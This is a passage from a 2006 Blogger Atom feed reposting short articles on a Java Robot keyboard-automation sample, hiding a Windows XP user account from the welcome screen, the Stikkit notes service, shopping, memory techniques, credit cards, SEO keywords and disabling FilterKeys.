src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116352620725789262</id><published>2006-11-14T23:13:00.000+05:30</published><updated>2006-11-14T23:13:27.350+05:30</updated><title type='text'>Java Robot class</title><content type='html'>&lt;p&gt;Java.awt.Robot class is used to take the control of mouse and keyboard. Once you get the control, you can do any type of operation related to mouse and keyboard through your java code. This class is used generally for test automation. &lt;br /&gt;&lt;br /&gt;This sample code will show the use of Robot class to handle the keyboard events. If you run this code and open a notepad then this code will write &amp;lsquo;hi budy&amp;rsquo; in the notepad. &lt;br /&gt;import java.awt.AWTException; &lt;br /&gt;import java.awt.Robot; &lt;br /&gt;import java.awt.event.KeyEvent; &lt;br /&gt;&lt;br /&gt;public class RobotExp { &lt;br /&gt;&lt;br /&gt;public static void main(String[] args) { &lt;br /&gt;&lt;br /&gt;try { &lt;br /&gt;&lt;br /&gt;Robot robot = new Robot(); &lt;br /&gt;// Creates the delay of 5 sec so that you can open notepad before &lt;br /&gt;// Robot start writting &lt;br /&gt;robot.delay(5000); &lt;br /&gt;robot.keyPress(KeyEvent.VK_H); &lt;br /&gt;robot.keyPress(KeyEvent.VK_I); &lt;br /&gt;robot.keyPress(KeyEvent.VK_SPACE); &lt;br /&gt;robot.keyPress(KeyEvent.VK_B); &lt;br /&gt;robot.keyPress(KeyEvent.VK_U); &lt;br /&gt;robot.keyPress(KeyEvent.VK_D); &lt;br /&gt;robot.keyPress(KeyEvent.VK_Y); &lt;br /&gt;&lt;br /&gt;} catch (AWTException e) { &lt;br /&gt;e.printStackTrace(); &lt;br /&gt;} &lt;br /&gt;} &lt;br /&gt;}&lt;/p&gt;&lt;p&gt;&lt;a title="java.awt.robot class java robot class" href="http://www.javalobby.org/java/forums/t84094.html" target="_blank" rel="java.awt.robot class java robot class"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116352620725789262?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116352620725789262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116352620725789262' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352620725789262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352620725789262'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/java-robot-class.html' title='Java Robot class'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116352533113200221</id><published>2006-11-14T22:58:00.000+05:30</published><updated>2006-11-14T22:58:51.193+05:30</updated><title type='text'>Hide user accounts in Windows XP</title><content type='html'>&lt;p&gt;&lt;font size="1"&gt;The Windows XP Welcome screen. Pretty pictures for each user account. What a nice thought on Microsoft's part. The only trouble is - I want to create an administrator account, and not have others tempted to try getting into it while they are on my computer.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="1"&gt;The welcome screen displays all of the local users on the system, except the built-in administrator account that was created during setup. If we want to hide a specific user from the list, we need to create a special value under this registry key:&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows&lt;br /&gt;NT\CurrentVersion\Winlogon\SpecialAccounts\UserList&lt;br /&gt;&lt;br /&gt;Under this key you simply create a new DWORD value - the name matches the users name exactly, and the value is one of the following (Decimal format)&lt;br /&gt;&lt;br /&gt;0 - Hides the user just from the welcome screen&lt;br /&gt;1 - The user is shown&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="1"&gt;&lt;a title="Hide user accounts in Windows XP" href="http://www.intelliadmin.com/blog/2006/09/hide-user-accounts-from-windows-xp.html?View=full" target="_blank" rel="Hide user accounts in Windows XP"&gt;Know more&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116352533113200221?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116352533113200221/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116352533113200221' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352533113200221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352533113200221'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/hide-user-accounts-in-windows-xp.html' title='Hide user accounts in Windows XP'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116343045229567834</id><published>2006-11-13T20:37:00.000+05:30</published><updated>2006-11-13T20:37:32.446+05:30</updated><title type='text'>Stikkit a Sticky notes to the browser</title><content type='html'>&lt;p&gt;Stikkit is a beauty web service: It's sticky notes in your browser.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.stikkit.com/" target="_blank"&gt;Stikkit&lt;/a&gt; replaces the traditional yellow sticky note with a hyper-powered web version, 3M and Moleskine be damned. Anything that you'd put on sticky notes or in a notebook -- phone numbers, names, appointments, reminders -- can be typed into the site's bare bones interface.&lt;/p&gt;&lt;p&gt;We've seen digital sticky notes before. Mac OS X and Windows have stickies on the desktop, and websites Nottr (which Scott &lt;a href="http://blog.wired.com/monkeybites/2006/11/nottr_offers_on.html" target="_blank"&gt;reviewed&lt;/a&gt; this morning) give you a solution to those "Gotta write this down" moments. But Stikkit extends the basic functionality of those tools in an innovative way.&lt;/p&gt;&lt;p&gt;As you're typing a name and contact information, for instance, Stikkit will give you a little alert at the bottom of the screen that says "Stikkit thinks this is a(n) peep" (meaning people, as in "one of my peeps"). The service can auto-recognize dates and times, contact information and to do lists, and then store them under the corresponding category. There's also a category for bookmarks, so if your stikkit is just a URL and a description, Stikkit files it under bookmarks.&lt;/p&gt;&lt;p&gt;Stikkits can be tagged with keywords for easy filing and they can be shared with other stikkit users. Other users can comment on your stikkit and save it as their own. &lt;/p&gt;&lt;p&gt;Bookmarking is extended through the Stikkit bookmarklet for your browser. When you're browsing around and you see a page you want to remember, share or make a note about, click the Stikkit! bookmarklet and a little stikkit box opens up. Annotate, save, and move on. I like that you create the stikkit in an Ajax box, so you never have to leave the page you're on.&lt;/p&gt;&lt;p&gt;The app has its own shorthand that you have to learn. I had to go into the &lt;a href="http://www.stikkit.com/stikkits/help" target="_blank"&gt;FAQ&lt;/a&gt; to learn how to apply tags to a stikkit. There are commands, or "hints" that you have to use -- tagging is "tag as" or the @ sign. Also, the category recognition isn't perfect. For example, if you type "yesterday" or "tomorrow" or "saturday" next to a time, Stikkit won't match the proper date with the time. It will just assume your appointment is today unless you give it a hard date. Or, again, use the shorthand.&lt;/p&gt;&lt;p&gt;Even with its youthful faults, Stikkit is very cool. It works as a notepad, a bookmark service, a calendar, a contacts book. It's really anything you want it to be, and in that respect, it reminded me of &lt;a href="http://www.sbook5.com/" target="_blank"&gt;SBook&lt;/a&gt; and other open-ended apps with seemingly limitless uses.&lt;/p&gt;&lt;p&gt;Much like del.icio.us, I can see people using it as a sort of novelty at first, then gradually realizing that it's ruling their lives.&lt;/p&gt;&lt;p&gt;I first saw the product at the Launch Pad event at this week's Web 2.0 Summit. I remember thinking to myself, "Oh, that's cool. I should make a note to check that out." The irony is that, had I already signed up for Stikkit's public beta, I wouldn't have had to open up my notebook and actually make a note with a pen. I'm such a stooge.&lt;/p&gt;&lt;p&gt;&lt;a title="Stikkit a sticky note to a browser" href="http://feeds.wired.com/~r/MonkeyBites/~3/47704077/dont_write_it_s.html" target="_blank" rel="Stikkit a sticky note to a browser"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116343045229567834?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116343045229567834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116343045229567834' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116343045229567834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116343045229567834'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/stikkit-sticky-notes-to-browser.html' title='Stikkit a Sticky notes to the browser'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116300667051113408</id><published>2006-11-08T22:54:00.000+05:30</published><updated>2006-11-08T22:54:30.526+05:30</updated><title type='text'>Finding the best price online easily</title><content type='html'>&lt;p&gt;&lt;span class="body" id="body"&gt;Finding the best price for the gifts you want can drive you crazy at the best of times add a holiday deadline, limited budget and a list as long as Santas, and youve got major stress. Even if you shop online for the sake of convenience, the experience is often bewildering. Who can you trust? Which vendor has the best price? What about customer service?&lt;br /&gt;&lt;br /&gt;And how can you find the answers to those questions, fast?&lt;br /&gt;&lt;br /&gt;Online comparison shopping sites like Shopzilla.com, Pricegrabber.com and Shopping.Yahoo.com (all well-regarded services) were designed to solve those problems. Growing numbers of US consumers turn to these sites to help them quickly locate the best prices on a wide variety of products.&lt;br /&gt;&lt;br /&gt;So how do online price comparison sites work, and how do you use them to find the best deal?&lt;br /&gt;&lt;br /&gt;Most comparison pricing sites allow you to enter the specific item you want an iPod Nano, lets say and then show you a list of retailers that carry it. Usually, youll see the price that stores are charging for the item and some rating (using stars, checkmarks or smiley faces) of the merchants reliability. If you know exactly what you want, this fast, basic search may be all you need.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The Search&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;But if you need to do some browsing to find what you want, or if you want to see results from more vendors, youll have to look further. Trying a different price comparison site may help. Some have more participating merchants; some focus on specific product categories.&lt;br /&gt;&lt;br /&gt;For example, try AddAll.com for book price comparisons, AMusicArea.com for music CD comparisons and AMovieArea.com for movie DVD comparisons. Generally speaking, electronics, computers, appliances and techie gadgets are easiest to find at online shopping comparison sites.&lt;br /&gt;&lt;br /&gt;Be sure to use the search tools sites offer, such as searching by price, zip code, shipping fees, product popularity, product rating, and so on.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The Stores&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;iPod Nanos are sold at hundreds of stores, so why dont you see hundreds of merchants in your comparison shopping price results? Thats because only vendors that pay to be included will come up in your search. The fact that a site is listed (or listed first), does not mean that it is endorsed or that it has even been checked out.&lt;br /&gt;&lt;br /&gt;This is one of the biggest downsides of using product price comparison sites. If your favorite online retailer(s) do not appear, youll need to do a separate search at their site.&lt;br /&gt;&lt;br /&gt;Be sure to do your research before buying from stores youve never heard of, or paying a price that seems too good to be true.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The Scoop&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;One of the most useful features of online shopping price comparison sites is that consumers are usually given the option to rate and/or review merchants. Buyers grade vendors on delivery speed, customer service and quality of items.&lt;br /&gt;&lt;br /&gt;Some sites also award certifications for track records of good customer service, such as BizRate Certified or Trusted Merchant status. (Stores cannot pay for these designations; they must be earned.)&lt;br /&gt;&lt;br /&gt;Many of the better comparison shopping services also offer product reviews as well.&lt;br /&gt;&lt;br /&gt;It pays to read the reviews, even if a store (or a product) is generally ranked favorably. You may learn something that helps you make your decision.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;&lt;a title="Finding the best price online easily" href="http://content-articles.com/article.aspx?i=42583" target="_blank" rel="Finding the best price online easily"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116300667051113408?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116300667051113408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116300667051113408' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116300667051113408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116300667051113408'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/finding-best-price-online-easily.html' title='Finding the best price online easily'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116300657338936956</id><published>2006-11-08T22:52:00.000+05:30</published><updated>2006-11-08T22:52:53.743+05:30</updated><title type='text'>Listen to music to energise your soul and brain</title><content type='html'>&lt;p&gt;&lt;span class="body" id="body"&gt;Music is a form of human expression relayed using variouspattern of sound or tones and sil -ence in terms of pitch,rythm and harmony.music is created by playing instrumentor using vocals to manipulate and transform the emotion of listeners.there was several controversy regarding the definition of music but by all accounts there is no single and intercultural concept defining music.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;The history of music begins much earlier than the writtendocuments and is still stringed with the development of eachhuman culture.although the earliest records of musical expressi-on are to be found in the Sama Veda of India and in 4000 yearsold cuneiform from Ur.most of our written records and studies deal with the history of music in Western Civilisation that includes different stages of musical period from medieval to 20th century era music.the history of music has been recorded in few.Popular style of music changes from time to time. it also variesfrom culture to culture.at different time different culture emphasised different instruments or techniques to make their music more mesmerising.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;New trends of music are coming up in themarket which is sure to drag anyone to dance floor.music of different countries or culture are being fuse succesfully giving rise to a different melodious expression.one of such kindis US 'bluegrass' style which contains elements fromAnglo-Irish, Scottish,Irish,German and some African-American instrument and vocal traditions.Music is composed and performedfor many purposes by the musician .it may be used for entertainment, ceremonial,aesthetic and extensively for propaganda.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;Based on the musical proffession musicians are oftwo types,Amateur musicians and Proffessional musicians.Amateurmusicans compose and perform music for their own pleasure.for the proffessionals it is an income derived motivation seeking contractsand engagements.Performing music is an enjoyable activity both for the musicianand the listener rejuvinating their mind and soul.so,it could besaid that music brings soothing effects to tired brain and aching soul.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;&lt;a title="Listen to music to energise your soul and brain" href="http://content-articles.com/article.aspx?i=42585" target="_blank" rel="Listen to music to energise your soul and brain"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116300657338936956?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116300657338936956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116300657338936956' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116300657338936956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116300657338936956'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/listen-to-music-to-energise-your-soul.html' title='Listen to music to energise your soul and brain'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116292089201535549</id><published>2006-11-07T23:04:00.000+05:30</published><updated>2006-11-07T23:04:52.030+05:30</updated><title type='text'>Easier memorization techniques to follow</title><content type='html'>&lt;p&gt;&lt;span class="body" id="body"&gt;Memorization tires most of us. Admit it; wed rather glance on our palm tops or organizers once in a while for convenience. Memorization is something we dont want to deal with for the rest of our lives although we deal with it in school because its something we need to do.&lt;br /&gt;&lt;br /&gt;Now thats just odd. When we need to do something, we tend to give our best shot at it. Why cant we do the same thing with our simple everyday activities?&lt;br /&gt;&lt;br /&gt;One effective and interesting way of familiarization and memorization of objects at a particular time or event is to associate them with a journey. The place or location where the journey happens can be stationary but not you, the traveler. You should come across the entire set of objects which are available on the setting you have chosen.&lt;br /&gt;&lt;br /&gt;We can set the movie house as an example for this memory improvement approach. Before you enter the movie house lobby, you purchase tickets for you and your friend. You know its the ticket booth because you see people falling in line to buy their own tickets. Now, associate the elements you see with what you need to remember. Lets pretend that you need to buy grocery items after seeing a movie. Seeing the long line of moviegoers to the ticket booth is a start. You can make the line of moviegoers going to the ticket booth, purchase chunks of meat instead of tickets. After getting your own meat chunk from the ticket booth, you then proceed to the lobby where you can buy popcorn and drinks served by two food counter clerks. The first clerk is named Ms. Tomato while the other one is named Mr. Lettuce. One has a head like a tomato and the others head looks like lettuce. After ordering, you are then served by Ms. Tomato a bucket of cheese bar instead of pop corn and butter for drinks.&lt;br /&gt;&lt;br /&gt;After youre satisfied with what you bought, you and your friend proceed to the movie theater and find yourselves a seat. Imagine the seats as giant apples. As you sit back and wait for the movie to start, picture the widescreen in front operated by four grocery clerks pulling the scenes with giant sausages stringed together from the projection screen to make the image move from one picture to another. Now thats one wild imagination to keep you on your toes to remember the grocery items you need. The funnier the story is; the higher chances of remembering each item clearly.&lt;br /&gt;&lt;br /&gt;From that scenario alone, important objects on the location are observed. You associate the things you see with the location easily since it involves vision, sound, smell, taste, touch and Kinesthesia (or the awareness of body position). All of the strategic points mentioned make Journey System, another memory technique, an easier method in remembering things you need to remember and placing them in a known place for easier memorization without any pressure.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;&lt;a title="easier memorization techniques to remember" href="http://content-articles.com/article.aspx?i=42353" target="_blank" rel="easier memorization techniques to remember"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116292089201535549?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116292089201535549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116292089201535549' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292089201535549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292089201535549'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/easier-memorization-techniques-to.html' title='Easier memorization techniques to follow'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116292069782508607</id><published>2006-11-07T23:01:00.000+05:30</published><updated>2006-11-07T23:01:37.846+05:30</updated><title type='text'>Before applying a credit card know this</title><content type='html'>&lt;p&gt;&lt;span class="body" id="body"&gt;If you want to have a financial tool which can offer you convenience and flexibility, then it's time to get a credit card. But before filling out that application form, you must be very sure that you're ready to take responsibility over your credit. There are a lot of people out there who ended up with credit card problems because they did not use their card properly and carefully.&lt;br /&gt;&lt;br /&gt;You have to keep track of your expenses, and be sure to pay for them after the bill arrives. Otherwise, you will only damage your credit rating.&lt;br /&gt;&lt;br /&gt;If you earn income regularly, eighteen years old or above, then you are qualified to apply for a credit card. There are a lot of credit card companies to choose from, and all of them have enticing offers which are hard to resist. But it doesn't mean though that they will not check your credit history.&lt;br /&gt;&lt;br /&gt;There are many bureaus engaged in credit reporting, and all of your transactions with regards to credit are recorded. Credit card providers seek the help of these credit bureaus to help them decide how much credit they will extend to a particular card applicant.&lt;br /&gt;&lt;br /&gt;However, just to make sure that your credit record is accurate, you are free to ask for a copy of it. If there are errors, then you will have time to fix it. If you're a first time applicant and have to established credit history, you can ask a relative or a friend to co-sign your credit card account. Do make sure that you pay your bills on time.&lt;br /&gt;&lt;br /&gt;If you have a good credit record, then it is already considered a valuable asset. You can use this when you apply for a particular job, home financing, and car loans; a good credit history entails a lot of benefits and is not only used for credit card applications.&lt;br /&gt;&lt;br /&gt;When you're looking for the perfect card that will suit or meet your needs, you have to consider the following features:&lt;br /&gt;&lt;br /&gt;-The APR or the annual percentage rate; it is expressed as interest rate for a year and measures the credit cost. However, you should also determine how much rate is charged every billing period.&lt;br /&gt;&lt;br /&gt;-Some cards have a 'grace period', others don't. A card with a grace period lets you make purchases without immediately being charged an interest. You can keep away from finance charges if you fully pay the balance.&lt;br /&gt;&lt;br /&gt;-Ask if the issuer charge annual fees because some credit card companies typically charges fifteen to fifty five dollars annually, but there are also credit card issuers who have no annual fees.&lt;br /&gt;-Ask details about transaction charges and fees.&lt;br /&gt;&lt;br /&gt;-The customer service; issuing banks should have toll-free phone numbers where customers can call if they encounter any problem with their credit card.&lt;br /&gt;&lt;br /&gt;-Card benefits like insurance, card protection, rebates, discounts, and special offers are all additional benefits that most credit card companies provide their clients.&lt;br /&gt;&lt;br /&gt;After carefully considering all the factors involved as to credit card selection, you can now fill up an application form. You can do it online, just look for the different sites of the credit card issuers.&lt;br /&gt;&lt;br /&gt;Having a credit card gives us a lot of convenience, security, and flexibility; but it also entails a great deal of responsibility.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;&lt;a title="Things to know before applying for a credit card" href="http://content-articles.com/article.aspx?i=42369" target="_blank" rel="Things to know before applying for a credit card"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116292069782508607?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116292069782508607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116292069782508607' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292069782508607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292069782508607'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/before-applying-credit-card-know-this.html' title='Before applying a credit card know this'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116292055954002840</id><published>2006-11-07T22:59:00.000+05:30</published><updated>2006-11-07T22:59:20.116+05:30</updated><title type='text'>Choosing right keyword during search</title><content type='html'>&lt;p&gt;&lt;span class="body" id="body"&gt;Choosing the right keyword is easy, you should ask yourself the following question: If I were to do a search what would I type in to find or search for a website. Getting a right keyword is very important to driving traffic to your website. Choosing the right keyword is critical and writing keyword rich pages is called SEO keyword rich pages. A top 10 position for the right keyword is really like having pure gold in your pocket. Selecting the right keyword is very important for your site. Thus choosing the keywords is of the utmost importance. Putting the in the correct keyword is always an advantage even if it's in the content itself. As in natural search engine optimization, the optimized keyword is critical to the success of your business and your entire campaign. Finding the best keyword is the key to being able to sell boost your website to the next level.&lt;br /&gt;&lt;br /&gt;If you are serious about driving traffic to your website, then you must be dedicated to finding the right keyword phrases. The Internet is a powerful tool, but try finding the keyword or keyword phrase. Finding the right keyword phrase is an extremely important part of search engine marketing. Why are visitors not finding your website? Finding the best keyword when writing your content is very important, you really need to think of what other people are looking for when searching. There are tools on the web which assist in finding the right keyword, such as Word Tracker and Keyword Elite. Finding the right types of keywords should probably be your first priority. &lt;br /&gt;&lt;br /&gt;The most important part of search engine optimization is selecting the best keyword phrases or key phrases. With any powerful tool, there is a right way and a few wrong ways to use them. However, selecting the right keyword phrases can be a bit difficult and identifying popular keywords phrases is also a difficult feet. Selecting and implementing it correctly is very time consuming and selecting the right words and phrases is very important. However, what gives many site owners nightmares and great difficulties is figuring out what primary keyword to use. So you can see that proceeding and doing it correctly can help you define your market better and enjoy prominence in it. &lt;br /&gt;&lt;br /&gt;The right keywords are the fastest path to the relevant information you are after. Do you have relevant content for prospects that are in the early research stages? This is because search engines match each query with the most relevant page and not the site. Experiments with LSI content will prove that lots of targeted content with the correct keyword densities improve rank dramatically. The more relevant the keyword phrase the more relevant your traffic is. &lt;br /&gt;&lt;br /&gt;Choosing the correct keyword in the list of keywords, the conversions will start increasing. Choosing right keyword is essential. The best way select a right keyword is to imagine what 'exact' phrase the author/webmaster might have used to describe your required information. Tagging the right keyword is very important while posting any pictures with the correct tags also helps. When choosing the best keyword it is very important because to a webmaster if they are going to optimize their website and have there site successful on the search engines.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="body"&gt;&lt;a title="choosing right keyword during search" href="http://content-articles.com/article.aspx?i=42377" target="_blank" rel="choosing right keyword during search"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116292055954002840?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116292055954002840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116292055954002840' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292055954002840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116292055954002840'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/choosing-right-keyword-during-search.html' title='Choosing right keyword during search'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116256916253801334</id><published>2006-11-03T21:22:00.000+05:30</published><updated>2006-11-03T21:22:43.096+05:30</updated><title type='text'>Problem Turning off filter keys</title><content type='html'>&lt;p&gt;&lt;font face="Verdana" color="#330000" size="2"&gt;I have a lazy habit of resting a finger onf the shift key when I'm pausing between words. If I do that for more than 8 seconds, XP asks if I want to turn on FilterKeys. It does this even if I un-check the "Use FilterKeys" box on the Accessibility settings. The box stays un-checked, but the feature doesn't turn off.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana" color="#330000" size="2"&gt;&lt;strong&gt;Solutions &lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana" color="#330000" size="2"&gt;&lt;strong&gt;1. &lt;/strong&gt;Select the Two Shift keys simultaneously for&amp;nbsp;around 8&amp;ndash;10 seconds. Your problem will be solved. (self experience0.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana" color="#330000" size="2"&gt;2. To work around this problem, disable the Shortcut option for Filter keys: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In Control Panel, double-click Accessibility Options.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Under FilterKeys, click Settings. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Under Keyboard shortcut, click to clear the Use shortcut check box&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana" color="#330000" size="2"&gt;3.&amp;nbsp;Disable all the stupid accessibility keys for good by importing these registry settings...&lt;/p&gt;&lt;p&gt;;----------------------------------&lt;br /&gt;Windows Registry Editor Version 5.00&lt;/p&gt;&lt;p&gt;;Disable Sticky Keys&lt;br /&gt;[HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys]&lt;br /&gt;"Flags"="506"&lt;/p&gt;&lt;p&gt;;Disable Filter Keys&lt;br 